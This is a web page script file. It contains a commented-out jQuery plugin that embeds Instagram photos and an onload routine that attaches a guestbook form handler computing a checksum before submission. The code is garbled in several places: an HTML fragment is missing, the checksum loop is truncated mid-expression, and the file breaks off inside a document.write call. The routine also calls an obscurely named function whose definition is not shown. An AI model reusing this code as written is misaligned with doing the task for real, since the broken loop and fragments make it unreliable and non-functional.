xxxx/* * embedagram - embed your instagram photos * http://embedagram.com/plugin.php * * Copyright (c) 2011 Matthew Hokanson (http://h0ke.com) * Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) * / (function($){ $.fn.extend({ embedagram: function(options) { // set the defaults var defaults = { instagram_id: -999, thumb_width: 100, wrap_tag: 'li', link_type: 'web', limit: 20, success: function() { return true; }, }; var options = $.extend(defaults, options); return this.each(function() { var o = options; var obj = $(this); // set the jsonp url var jsonp_url = "http://embedagram.com/e/plugin/" + o.instagram_id + "/?callback=?"; jsonp_url += "&thumb_width=" + o.thumb_width + "&wrap_tag=" + o.wrap_tag; jsonp_url += "&limit=" + o.limit + "&link_type=" + o.link_type; // get the json yo! $.getJSON(jsonp_url, function(data) { obj.html(data.html); o.success.apply(obj); }); return obj; }); } }); })(jQuery); $(document).ready(function() { var imgwidth = 156; $('#instagram').embedagram({ instagram_id: 1092654718, limit: 4, wrap_tag: 'div', thumb_width: imgwidth, success: function () { $('#instagram>div') .addClass('image floatleft') .css('width', imgwidth) .append(function () { try { var txtparts = $('img', this).attr('title').replace(/\s+/g, ' ').match(/(.*?[.!?])(.*)/); var title = txtparts[1]; var txt = txtparts[2]; } catch (e) { var title = $('img', this).attr('title'); var txt = ''; } return $('

').html(''+title+' '+txt); }); return true; } }); }); */ /********************************************************************* * Improved onload * Dean Edwards/Matthias Miller/John Resig/(Christian Jarhult) *********************************************************************/ function init( rerun ) { // quit if this function has already been called if( rerun === true ) arguments.callee.done = false; if (arguments.callee.done) return; // flag this function so we don't do the same thing twice arguments.callee.done = true; // kill the timer if (_timer) clearInterval(_timer); // do stuff document.getElementById('currurl').value=String(window.location);knPreloadImages('?cimage=contentsform-bg.png');var gf=document.getElementById('guestbook-post-form');if(gf)gf.onsubmit = function () { var sig=document.getElementById('guestbook-post-signature').value; var msg=document.getElementById('guestbook-post-msg').value; var str=(sig.replace(/[^a-zA-Z0-9]/g,''))+(msg.replace(/[^a-zA-Z0-9]/g,'')); var s=0;for(var i=0;i'; document.getElementById('guestbook-post-signature').value = sig; document.getElementById('guestbook-post-msg').value = msg; gf.submit();};f54405PzGNssZo(document); } var runAsOnload = true; /* for Mozilla/Opera9 */ if (document.addEventListener) { document.addEventListener("DOMContentLoaded", init, false); runAsOnload = false; } /* for Internet Explorer */ /*@cc_on @*/ /*@if (@_win32) document.write("